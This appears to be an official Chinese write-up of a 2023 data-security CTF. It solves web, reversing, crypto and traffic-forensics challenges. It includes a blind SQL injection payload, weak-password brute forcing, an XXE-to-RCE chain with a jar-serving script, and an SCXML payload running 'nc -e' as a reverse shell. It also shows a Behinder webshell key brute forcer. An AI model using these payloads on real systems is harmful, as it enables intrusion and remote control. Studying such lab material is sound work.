官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

WriteUp 1年前 (2023) admin
841 0 0


数据安全题

端口管理系统

通过下载源码发现存在盲注

注入出sql语句

admin' and substr((select hex(password) from users where Username='admin'),1,1)>'0'/*

可以注入出来admin的密码

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

通过猜测aes加密格式编写脚本进行解密

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛


key

首先打开是一个登录页面,在页面中有一个帮助手册文档链接注释:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

访问手册文档,在文档中发现了泄漏的用户名dcic:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

根据已有的用户名去爆破,得到弱口令000000:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

进入到个人中心发现是通过id来查看的用户信息:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

所以通过id来遍历,最终获得带有flag的用户信息:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛


XxMe

分析代码存在2个路由,xxe路由存在xxe漏洞,object路由时scxml的解析,先通过xxe jar协议上传临时文件

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'rnrn' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:rn',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OKrn'''
                '''Content-Type: application/java-archivernrn''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...'
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

然后临时文件会在tmp中生成,然后通过xxe列目录拿到临时文件名称,在临时文件被清理前,通过object路由加载poc.xml去完成rce

p1.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///tmp/">]>

<test>
&file;
</test>

poc.xml

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>

<log expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('nc -e xxx.xxx.xxx.xxx')"/>
</onentry>
</state>
</scxml>

最后再读取就可以获取flag,也可以直接反弹shell

攻击步骤:

1.先通过xxe路由上传poc.xml

http://0.0.0.0:8080/xxe?uri=jar:http://0.0.0.0:8889/1.zip!/a.php

2.同时在通过xxe路由利用p1.xml列出tmp目录获取临时文件名称

3.最后通过目录穿越直接在object路由加载poc.xml完成rce

LetsGO

查看main函数,发现调用了net_Listen函数并且参数为“tcp”和“:8092“,可以推测出该题目监听了本地的8092端口用来接收tcp连接。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

接下来调用了函数runtime_newproc,参数为函数 main_main_func1,可以推测是新建了goroutine来运行函数main_main_func1。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

main_main_func1函数中调用了main_handle_connection函数,在此函数中首先调用了ReadBytes,又调用了main_handle_input函数,最后会输出字符串”You win”,所以主要判断逻辑应该是在函数main_handle_input中。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

main_handle_input函数中调用了handle_tcp_Unpack_tcp_reply函数,并将结果写到了[rsp+220h+var_1A0+offset]中。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

main_handle_input之后以”127.0.0.1″为参数调用了两次handle_tcp_Ip2int函数,handle_tcp_Ip2int函数中对字符串进行了一些分割、Atoi和位移操作,实现的功能就是将ip字符串以字符”.”分割然后转化为数字。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

main_handle_input接下来构造了tcp pseudo header用来计算checksum,计算checksum之后过了一系列判断,以此可以推算出它接收的tcp包中header的各个参数: lport和rpotr分别为99和233、seqnum为0xdeadbeef、标志位为2(syn)其他按照标准tcp包来构造。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

使用python写一份简单的交互脚本来测试,脚本可以构造tcp包并发送:

import struct
def ip2int(ip):
    ip = ip.split('.')
    result = 0
    result = result + int(ip[3])
    result = result + (int(ip[2]) << 8)
    result = result + (int(ip[1]) << 16)
    result = result + (int(ip[0]) << 24)
    return result

def int2ip(i):
    i = hex(i)[2:]
    i = i.rjust(len(i) + (len(i) % 2), '0')
    result = ''
    result = result + str(int(i[:2], 16)) + '.'
    result = result + str(int(i[2:4], 16)) + '.'
    result = result + str(int(i[4:6], 16)) + '.'
    result = result + str(int(i[6:8], 16))
    return result

def pack_tcp_pseudo_header(data, laddr, raddr):
    pseudo = struct.pack(
        '!IIBBH',
        laddr,
        raddr,
        0,
        6,
        len(data)
    ) + data
    if len(pseudo)%2 !=0:
        pseudo += b'x00'
    return pseudo
def calculate_checksum(tcp):
    highs = tcp[0::2]
    lows = tcp[1::2]
    checksum = ((sum(highs) << 8) + sum(lows))
    while True:
        carry = checksum >> 16
        if carry:
            checksum = (checksum & 0xffff) + carry
        else:
            break
    checksum = ~checksum & 0xffff
    return checksum
def pack_tcp_request(data):
    lport = 99
    rport = 233
    seqnum = 0xdeadbeef
    acknum = 0
    flag = 0x8002
    window = 0xffff
    checksum = 0
    urgentpointer = 0
    option = [0x020x040x050xb40x000x000x000x000x00 ,0x00 ,0x00 ,0x00]
    tcp_pack = struct.pack(
        "!HHIIHHHH",
        lport,
        rport,
        seqnum,
        acknum,
        flag,
        window,
        checksum,
        urgentpointer
    ) + bytes(option)
    laddr = ip2int("127.0.0.1")
    raddr = ip2int("127.0.0.1")
    tcp_pack +=data
    checksum = calculate_checksum(pack_tcp_pseudo_header(tcp_pack,laddr,raddr))
    print(checksum)
    tcp_pack = struct.pack(
        "!HHIIHHHH",
        lport,
        rport,
        seqnum,
        acknum,
        flag,
        window,
        checksum,
        urgentpointer
    ) + bytes(option) + data
    return tcp_pack
if __name__ == "__main__":
    payload = pack_tcp_request(b'test')
    print(payload)
    from pwn import *
    context.log_level = "debug"
    sh = remote("127.0.0.1"8092)
    sh.sendline(payload)
    sh.interactive()

运行题目之后再运行脚本的到如下报错:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

说明程序运行到了最后的比对阶段:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

通过最后的比对阶段,可以定位到比对数据res和经过处理的输入数据data,在对data溯源之前首先来科普一下golang中数组的存储方式和参数存储方式,golang数组会以一个18bytes大小的结构体进行存储,域中分别是指向真正数据的array指针、代表当前用到的数组长度len和数组的总共可用长度cap。然后golang的参数一般都会保存在rbp+正offset的位置,所以可以直接通过查看main_handle_input函数的栈桢定位我们的input数据。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

溯源data来源,可以发先data由data0赋值,而data0是input加上了某些进行了奇怪的运算的出来的偏移。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

溯源head_size,发现它是由tcp包中的flag的前四个bit(tcp包头部中的偏移)乘以4得来的,也就是tcp包头部的总长度。所以head_size-input_cap为负数,而负数向右位移63位就基本全是1了,所以data0=input+(head_size&0xffffffff),也就是data0=input+head_size,所以data就是tcp包头部数据后面的所有数据。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

溯源data.len(ida的伪代码没有正确识别),发现是从rdx寄存器传过来的,而rdx是从[rsp+220h+var_1E8]赋值过来的,而[rsp+220h+var_1E8]的值是input_length-head_size-1也就是data0的长度-1,之所以-1是因为data0的最后一个字符为换行。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

依照上面的经验可以看出key.array = &data0[data_length_too - 4](这个data_length_too变量就是上图中的[rsp+220h+head_size]),即data0中的后四个比特,而key.length=3代表key只使用前三个字节(最后一个字节为换行符)

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

在初始化了长度为256的数组s和长度为3的数组k之后,函数又调用了两个加密函数,特征很明显,一眼就能看出来是rc4的init和crypt。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

Enc1:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

Enc2:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

加密完成之后,我们数据长度要为28,然后和res数组进行比较,res的值已经写在函数开头了。所以大概的逻辑就是给指定端口发送一个tcp包,包含了数据data,以data的后三个字节为密钥对data进行rc4加密,加密出来的结果就是res。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

有了逻辑就可以编写脚本解题了,三个字节的密钥不是很长,可以将res数据提取出来后进行爆破。脚本如下:

from Crypto.Cipher import ARC4

enc = [6116180226731314554149157122254199169164161240246386144250265016710957238]
key = 0
for i in range(16777215):
    key = i.to_bytes(3"little")
    rc4 = ARC4.new(key)
    m = rc4.decrypt(bytes(enc))
    # print(key)
    if m[-3:] == key:
        print(b"target is : "+key)
        print(b"after decrypt: "+m)

运行完成之后有两个结果。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

仔细观察一下源程序发现还有一个限制,即data必须是可见字符。所以即可得出正确的flag

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛


nooblog

在linux上运行程序可以看出是gnu的prolog, 但是只是一个解释器

查阅gnu prolog compiler文档可知gprolog支持将prolog代码编译为native code

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

经过了若干阶段,将代码编译成字节码,mini assembly,  assembly最终链接为可执行文件

也支持将代码编译为WAM( Warren’s Abstract Machine)字节码,但是这种编译方式实际等同于consult/1的predicate, 一般只能在交互式解释器中使用

由于是native code, 所以解释器提供的调试支持trace/0与debug/0均无法对这部分代码进行调试

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

所以可以推断逻辑是以汇编形式而非字节码形式存在于文件中,运行题目只启动了交互式解释器,没有判断逻辑,题目也没有给出更多信息,

需要自己来逆向出更多的东西。

因为是非常规的语言,所以考虑先编写或摘选一些prolog代码来得到一些逆向的参考。

series(R1,R2,Re) :- Re is R1 + R2.
parallel(R1,R2,Re) :- Re is ((R1 * R2) / (R1 + R2)).

max(X,Y,X) :- X >= Y,!.
max(X,Y,Y) :- X < Y.

max_find(X,Y,Max) :- X >= Y,!, Max = X; Max = Y.

list_member(X,[X|_]) :- !.
list_member(X,[_|TAIL]) :- list_member(X,TAIL).

list_append(A,T,T) :- list_member(A,T),!.
list_append(A,T,[A|T]).

main :- write('hello world.'),
write("hello world").

程序运行时给出了具体的gprolog版本,选取相近的版本来编译,以获得更接近的二进制文件

通过一些语言学习可以了解到prolog内部将实体分为几大类,包含predicate谓词,atom, Number, Variable, list

其中较为容易混淆的一点是如“hello world”这样的字符串实际是list, 而‘hello world’属于atom

理解这些概念对于后续逆向理解ida伪代码时有较大帮助

gplc -o example example.pl

用ida打开

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

通过字符串交叉引用容易找到hello world字符串,同时发现代码中的一些全局变量会在Prolog_Object_Initializer函数中初始化

同时文件内有非常多的gprolog库函数,可以考虑使用bindiff来恢复chall中的符号信息

分析一下main函数的模式

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

可以注意到r12被作为一个特殊寄存器使用,在进行函数调用时如此处的X0_write__a1会先将下一处函数地址存入r12+0x808

注意到下一个函数中形式较为特别

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

对应到代码应为

write("hello world").

可以推断出这里是创建list的代码

但是显然常数跟我们的设想的字节数组不大相同

查阅源码

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

可以看到一个UnTag_INT

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

从伪代码可以找到实际就是右移3位。简单检验一下可以发现确实是hello world的ascii码。

此时开始分析chall文件,使用bindiff插件导入刚才分析的example的i64

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

容易通过Object_Initializer的交叉引用来找到chall的Prolog_Object_Initializer函数

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

发现有非常多的predicate定义,有三百余个。其中比较令人在意的是check函数与三个handle函数。

运行程序,执行check谓词

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

猜测这个谓词就是检查flag正确与否的函数

单独调用一下trans系列函数

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

会发现似乎只是一个单调函数。测试一下其他的函数,发现效果类似。这说明极有可能这些函数并无实际用处。

测试handle函数,会发现是一个无参谓词,这代表handle函数没有对变量施加约束,测试其他handle系列函数,发现结果类似。极有可能是无效代码。

在ida中找到对应函数代码

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

会发现调用了Pl_Cut函数,经过一些搜索,可以知道这是用于处理逻辑短路的函数,这说明handle0函数可能是直接被逻辑短路直接返回。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

而在Pl_Create_Choice_Point1中的参数函数则是一个非常长且各个函数都较为相似的函数调用链

根据函数名字符串,可以发现这些函数基本都是trans系列的函数,这说明这些函数可能并没有被执行

分析check函数逻辑

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

根据atom初始化函数的引用可以看出调用的sub_45f7e0应为read函数

然后进入下一个函数

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

可以看到调用了handle0, 根据上面的分析,先无视handle0

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

下一个函数中调用了Pl_Reverse_2, 搜索一下可知是prolog的将list反转的函数

容易推想是将输入的list进行了reverse操作,这里也可以自己编写一个reverse代码来进行验证比对

向下分析

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

遇到了handle1,无视,继续寻找下一个调用点进行分析

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

可以看到又调用了Sort_Initializer, 表明这也是一个对list进行操作的函数

并且通过qword_4f0648的字符串可以找到一个trans76

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

查看此函数的操作,在sub_403d85中发现了另一个trans函数,trans213

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

回到初始化函数,会发现这些被使用的函数都被单独加载

可以推测这里的* + -就能就是程序使用的一些变换

再分析下一个函数

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

发现跟我们之前见到的list形式十分相似,可以确定应该是在初始化一个list

注意到下方的Pl_Unify

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

且该函数没有对r12 + 0x808再进行赋值

这说明该函数可能是整个check函数的结尾,对处理完的数据进行最终的比对

查阅Pl_Unify的源码逻辑也可佐证这一结论

提取出对应的数据,去掉tag

cipher = [15627,2603,11883,9043,2322,1883,9043,2419,9803,13014,4114,10834,9043,2843,11011,9043,4491,11011,3235,12339,2419,15163,10595,9427,11650,10422]

通过一些简单测试

可以发现trans系列函数的处理范围均是单值

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

不支持list

prolog是一个较为接近函数式的语言,可以采用如maplist的函数,将一个函数应用在list上

因为flag应为可见ascii字符,所以我们可以在这个范围内对trans76trans213做一个遍历

容易得到trans213的变换在0-0x7f范围内与x ^ 26的结果一致

trans76的序列为

table = [8912172433445772891081291521772042332642973323694084494925375846336847377928499089691032109711641233130413771452152916081689177218571944203321242217231224092508260927122817292430333144325733723489360837293852397741044233436444974632476949085049519253375484563357845937609262496408656967326897706472337404757777527929810882898472865788449033922494179612980910008102091041210617108241103311244114571167211889121081232912552127771300413233134641369713932141691440814649148921513715384156331588416137]

容易发现序列的差值序列构成奇数序列

2x+1,同时根据初始值,可以求出该序列为x**2 + 8

梳理逻辑,首先将输入reverse, 后续使用trans76trans213来对序列进行变换

使用z3来求解flag

from z3 import *

cipher = [15627,2603,11883,9043,2322,1883,9043,2419,9803,13014,4114,10834,9043,2843,11011,9043,4491,11011,3235,12339,2419,15163,10595,9427,11650,10422]

vars = [BitVec('x%d' % i,32for i in range(len(cipher))]

s = Solver()

for i in range(len(cipher)):
    s.add(vars[i] >= 0)
    s.add(vars[i] <= 0x7f)
    s.add((vars[i] * vars[i] + 8) ^ 26 == cipher[i])

if s.check() == sat:
    m = s.model()
    flag = ''
    for var in vars:
        flag += chr(m[var].as_long())
    flag = flag[::-1]
    print(flag)
else:
    print("no solution")


lose the key

解密的时候从历史加密信息中寻找,如果找到匹配的值,那么就返回正确的解密结果

from pwn import *
from Crypto.Util.number import bytes_to_long as b2l

p = 128089164911531640990590765784773200968493171323261059867906539468112620135532345225043425471326265771711257864831829429613066083710876524796978175486809639625248469613672449388347488155780366208885117452670875814427200273181264186671150284174592272420292081821340751838551571173929440248825056978622776728779
g = 26150765091701995996158250738992292067378837192664694735141574882512044909531802916086796450437816931833030873491670453360996187715530084420083659020588595828913582439423037563391550384782320673460468562306467136768392225282754351106461044191656453897560430665815764601582548609472325196183920378401662469211
y = 57730237704210567353391949933814594705914620839607449374240860991542008824527552501062482142989796521760779923242984520583103451525344320324829572859418920975916135467107600649531033968938205707448509480629481920024629935630751793389206424948712426426995699419838572104825928892284256486630939991911144572382
z = 62108754904287032821971381232956885052769068054607609275042182309040123248979381249587936612457114553082984085473302992025047447258976388732555778861072247007820649687902442248057135518944999341930795894210983350234495243479752339988814594642849784670120645449023408944862789781184747815252870664480503695731

def _(_):
    if type(_) == str:
        _ = _.encode()
    return pow(g, b2l(_), p)

io = remote('',)
context.log_level = 'debug'
io.sendlineafter(b'> 'b'2')
c1 = int(io.recvline())
io.sendlineafter(b'> 'b'3')
io.sendlineafter(b'b> ', str(c1).encode())
m1 = io.recvline().strip()
print(m1.decode())
mask1  = _(m1.decode())
attack = (c1 * pow(mask1, -1, p) * z) % p
io.sendlineafter(b'> 'b'3')
io.sendlineafter(b'b> ', str(attack).encode())
flag = io.recvuntil('}')

print(flag)
io.close()


math_exam

题目代码分成三个challenge

challenge1 leak了并且,并且是同一量级的,我们可以得到:

因此我们可以爆破,联立以下两式子:

即可解出,解密即可

challenge2 leak了,我们做一下推导:

我们即可用代替,解密即可

challenge3 leak了,推导如下:

联立得:

即可分解,正常解密即可

exp:

from Crypto.Util.number import *

def unpad(msg):
    return msg.split(b"x00")[0]

# -------- challenge 1 --------
e = 65537
c = 112742443814287255411540092433156061065388404049949520959549377871297566383025041892192679147481155020865118811016470498351633875090973546567374001852295013083192495299811476604405637385307524194793969533646755764136014187430115618114840780368311166911900457224593131166970676797547489278410997707815915932756
n = 121127425328043404860413278637978444801342472819958112597540188142689720655042880213001676368390521140660355813910726809125567752172921410143437643574528335234973793653775043030021036875866776532570781661875022102733555943967261003246543180935987772711036868216508554536086688819118597075508026787867088355603
leak = 216638862637129382765636503118049146067015523924032194492700294200289728064297722088882791754351329407138196573832392846467607399504585045028165699421278
P.<x> = PolynomialRing(ZZ)
for k in range(14):
    f = k*(x-1)*x + leak*x - 2*n
    try:
        q = f.roots()[0][0]
        break
    except:
        continue
p = n // q
d = inverse(e, (p-1)*(q-1))
m1 = int(pow(c, d, n))
print(unpad(long_to_bytes(m1)).decode(), end="")

# -------- challenge 2 --------
e = 65537
c = 7964477910021153997178145480752641882728907630831216554750778499596527781702830885213467912351097301767341858663701574005489585561370961723264247818377063081744522471774208105250855114831033452448184392499682147532404562876275189577321587660597603848038824026981539659156304028998137796242331160312370913038
n = 140571013522095816880929287025269553867630639381779595547026503691829940612178900269986625350464874598461222087427155791855120339533208468121389480964471710028253589422629569889402475311387750348466199387760629889238062977271925350490110043385800605640905324122017637306715108727700910035925728362455954862209
leak = 58442382248753295429370894053397615609981110383986887405127350139482893508400422595729520437678203735054593866306478994471465948872565590901376309380029015549809468112086393107585011072503638322671608471684607214064187044372418770555236721845694224676090744181562673509234801011420696349507624867568099759003
phi = e*leak - e*(n+1) - 1
d = pow(e, -1, phi)
m2 = int(pow(c, d, n))
print(unpad(long_to_bytes(m2)).decode(), end="")

# -------- challenge 3 --------
e = 65537
c = 54161995127842474543974770981473422085334044100057089719350274921419091368361244533281599379235907845996678762379778310924192757650322930707785543132446159092950451255660204858292974657119337026589911330412367633761103944916751660957776230135927005700707688661350641600954072696774954805514477330339449799540
n = 88207747624007183083381863279444163105330473097729276113333026679597864128605555600000789783468271680476780366740448641311570797876037993255307716167149079618302706650018518487351604778857406170722209469765782625409279109832638886179654096975665134276856272488090272822541461702907181545730309689190333058151
leak = 19596671928335648228117128090384865424885102632642665068992144783391306491716530155291726644158221224616817878768426330717188403310818678195631582453246848
g = x^2 - x*leak + n
q = g.roots()[0][0]
p = n // q
d = inverse(e, (p-1)*(q-1))
m3 = int(pow(c, d, n))
print(unpad(long_to_bytes(m3)).decode(), end="")


Are you ok

题目附件打开后发现是一个乱码的log日志文件,猜测是没有正常解析。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

搜索后发现可以用Wireshark打开:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

发现有两台设备通信,HUAWEI P10 Plus和小米手环Mi Band 5:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

刚开始两台设备进行了认证通信,之后HUAWEI P10 Plus请求读取小米手环的电量,句柄为0x007e,Opcode为0x0a:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

紧接着,HUAWEI P10 Plus收到了小米手环5的返回包,里面涵盖了电量等信息:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

此时小米手环的电量为0x48,转为十进制为72,那么小米手环5的电量为72。

继续往下看,发现HUAWEI P10 Plus有一个Write的操作,句柄为0x007e,Opcode为0x12,这是Alert Notification Service的通信过程。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

除此之外,可以看到HUAWEI P10 Plus还有另外一个Write的操作,句柄为0x0026,Opcode为0x52,这是Immediate Alert的通信过程。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

而在Immediate Alert通信的过程中,可以发现有三种Value,相对应的Morse如下表所示:

Value 0x00 0x01 0x02
Morse . /

可以写脚本将所有通信过程打印出来,并转化为Morse电码:

# -*- coding:utf8 -*-
import pyshark

pcap = pyshark.FileCapture('1.pcap', display_filter = 'btatt.opcode == 0x52')

flag = ''

for pkt in pcap:
    opcode = str(pkt.btatt.value)
    if opcode == '00':
        flag += '.'
    elif opcode == '01':
        flag += '-'
    elif opcode == '02':
        flag += '/'

print(flag)

# .../--../--../--./...-/--/./...../-----

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛


Beyond

题目附件使用Wireshark打开后发现是一段经过加密的流量:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

起初,有ICMP协议的流量,分析后发现是攻击者发送Ping命令确认主机存活状态,之后有很多垃圾干扰流量:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

经过仔细分析后发现,有一个.index.php的shell在进行通信:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

追踪TCP流后可以看到是经过加密的流量,加密后的结果很像base64。

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

分析后得知,这个是冰蝎V4.0的流量,服务端是PHP,使用默认的aes算法,但是由于默认使用的是aes128的算法,会导致密文长度恒是16的整数倍,可以对默认算法做一个简单修改,在密文最后最加一个magic尾巴,随机产生一个随机长度的额外字节数组,简称aes_with_magic算法。

那么可以写脚本来还原加密之后的流量,密钥选择top500来爆破即可:

import re
import base64
import hashlib
from Crypto.Cipher import AES

def Decrypt(key, data):
    magicNum = int(key[:2], 16) % 16 # 魔数长度
    data = data[:len(data) - magicNum] # 去掉魔数

    c = AES.new(key, AES.MODE_ECB)
    decodebs = base64.b64decode(data)

    return c.decrypt(decodebs)

def Key_Brute(data):
    with open('top500.txt''rb'as f:
        plain = [i.strip() for i in f.readlines()]

    for i in plain:
        md5_enc = hashlib.md5(i).hexdigest()
        try:
            key = md5_enc[:16].encode()
            AES_dec = Decrypt(key, data).decode('utf-8')
            cmd = re.findall(r'[sS]$cmd="(.*?)"', AES_dec)
            if cmd:
                # print('[*] Crack Success!!!' + 'n' + '[*] The Key is ' + md5_enc[:16] + 'n' + '[*] Decode Text:' + 'n' + AES_dec)
                print('[*] Crack Success!!!' + 'n' + '[*] Key: ' + i.decode('utf-8') + 'n[*] Webshell Key: ' + md5_enc[:16])
                payload = base64.b64decode(cmd[0]).decode('utf-8')
                print('[*] Payload: ' + payload)
            break
        except Exception as e:
            print('[-] Crack Failed')

if __name__ == '__main__':
    data = 'Sy//Wq2O8Sp1pH90xOmXGUvMrKLvDdOLiaxdMwROqzYTMnVHnObV/5RlkD7Ei0QN975k27SEzykXWZbrymREHOJ4eaI7xYibAI8y2TkG1BeL1Xslr84MBRogy8Yx9Smr9QVcY8SxpkMxIpedv1+svUbJ+/H9aeKaJVtkVeHyz6dWAt1jJwwtS8YwNWeDc6A5i9rw5FzWElQ3Iv8A9b4j7pj60CQ+9vx51xlarVBrMSwjRuuH8okcsSDkfcrILaHixbsAjhM4ri6jjXS31F/gOIcavMFQMxr+vd8xRYoD9F39Brd+cRdVi9+I+vybhTNmGbHfYTIw1WYSEAnRR5ic9HT/clJqeYgr6+t5cC1TtxekJRaYuzaKVOsEkE45KQzNjngNgWJTunWdA7WXf1NvJBUpD+/pRIlUVGy6iqG5TSDR5X7vXc+MmX47JCt4qDeGuUOYOUZy3jULNT0SvFzmYIZBCgx/RjzGwy9aukdqZ8DbukQX6HsGhuEXjBKnalEoS3RfPj3KSDUg4O/DuHObFhTWsMgR2jHL5rM85/IBUFSswPxaSgLhcpa88LUpMLL//r5+B+ltI1+xpmm5Xy1mqkxNeYKPyoF504Drs1Lc7fHm5DpylO+4qiERbYSOLHmIKlAbnSjv25FJl3cK1Vl2haddnOOwEMLjb6HFqKhTia0iTO2RbUu0bzBFynVXmFMu/8+fcjGUqJc2nI9BLP55aBDj5bqniJ6gig8o34k/5XhOoocUQS+vKxzKuHGldHF8G3PI484pBShS46V8Vd3Os+rZsVXHAlQ4q6zZahyPZS1Xpk14KGyAC2utfuufIndSE2YyChZsmHsS3QaUBTtb4t7ee6eFaVEkoByBkBkJCmTUa7gbRLCTKZwvQNCvz/uZfueXx5FTWs+ffyi+5QIOeaLfER7Xvy7MsHAToTmjWrmuld0aoFSSPtD1O/36VvsdXKhHlegzkA0ZUV8somT4NpUFWgIQ97+O0iiTtAGZcttNnq+E9xeXfiun+l4NC737xbDfb4wKgX+GkypD216dS5F5u8UmkVqgUIxqFpC3IiRVjI8SSF2UhZekxMLp774GmAninZUHc11OoZ0xu6MxXjZPPuTH6DAIChvR15mCefvyGlm+BFYgb3ntPcZwPquFtVwtBjp7bRu9NMdkGeArrbUIObhmU4/DbyEhb8yDverGYMb1gp8AcqOhLEoAN5SLiaz75tymCOQJ9a05uIjRW/Ob6g0ctXcxraU7hKtS6nPOc5sC6YZzyM2FhFMvUoV7axVyWdbNDo5Z/LV4GuB9UISV44aJOlJhfyBixqbot4FeSy9j8LIAZA2UVELkJehAYA0F48ZinVOtH6qHmG6Cde6iJ6fReNZykK125so1vXN4BpB71aGLSM+IhtIhcR/xl4kHPO5vmMfw4+A7rRMF/WE9Jnh23e1mEJpAizxXt/VVf8v6EChx2Ktr8dtwmijpbURPxhG6B4llWfy3JbRUXfVNgq892tx2TthxVWvviIjem4qchv3bbkyKoyIiXHZBzVQBARVJIa+ZTTkfp0bRQYg8jrGEyryENgYGmCHfgwDD0Amk+m28BUX9ewHkqnXWp0Nonb5eMBJrClyoF90BX5LNO4rIh5w98uwwP25vduYF3rdOr5iQTn4jc1VZ6DUZ4CY+nmMent5onaQGnn/42EFckUQgtNgF7H8PxSzfUlLYT10r5saFi49LvF3I2vR+YNEiaOOkcndFGLGlGfSGpu2SQUlUFhWJZs9AX68bRQ+LGjPA8YWXQY69IsOwQaSU02NJ0ZVt9X+1P8BbfPXSCUXDGGlZkF8B7hx2gg5ytwarh6hP2mJkIFTYVQK+CISToxEqnQ10DuaImIFaE0IoZg1o1z2tdRiDqoquhsToTSfAKvoHItWBo44M1GhmP/b6+yAUk4XXCvGzB62/E/aAwmR4MLagT0/c1MaqxhDBEXgWTJKY9CaSBW+rgmR6pXmuiYCinVGBNlRXa3S3oSkXKWRxyvS86KxL02saWkrS1gX56wMcdP6E0I3s6rCzaFPZnBD871MUnXITpeNAV2IURROPSn/tZM8EX6qaXlhfh2Qt1XWIr7offNYuHhyuSZvE7/+Mluk1qs2c9WwQe6mBSGuszZygxw/GS10iZP1tXiU/NXcC+SKY6hjF+WdWkDAud2ENs7t7RtqI0omITjYpSX+cyBLWPOzOJK7DEna09Y/d2tGBNqwtrEFyTFbv7CI5lA1sqTSQ//xpKCCNc19LrqQpiecMbvDRsJXRy62QzNxeFs4K4ffG4ayESPhlF6lOaOq159gquVa9LbRJ0sa8j1FvYFduQvBmFDWsZ+W1XP2i3A1tSDeiyRFuStoGazCqCN3DvelUaOS2gTUfrxQjnYzKAWFykc5xjV4YM1v1yyx+X7FaHJAjUNLYI96NcvzRnBD871MUnXITpeNAV2IURU0qua4EWx3Tzk2RBXdgRh6yLuskfY83HBqZv5M6jePoh87hzKVMZbullYBgv29BhE8eXuBUHd3pWn9ZRVLu1gcdaLW6Wxa/EL4k5bYzzIZev2VOEXrcN5pZm5tJOYiR+CVxbiOiWxv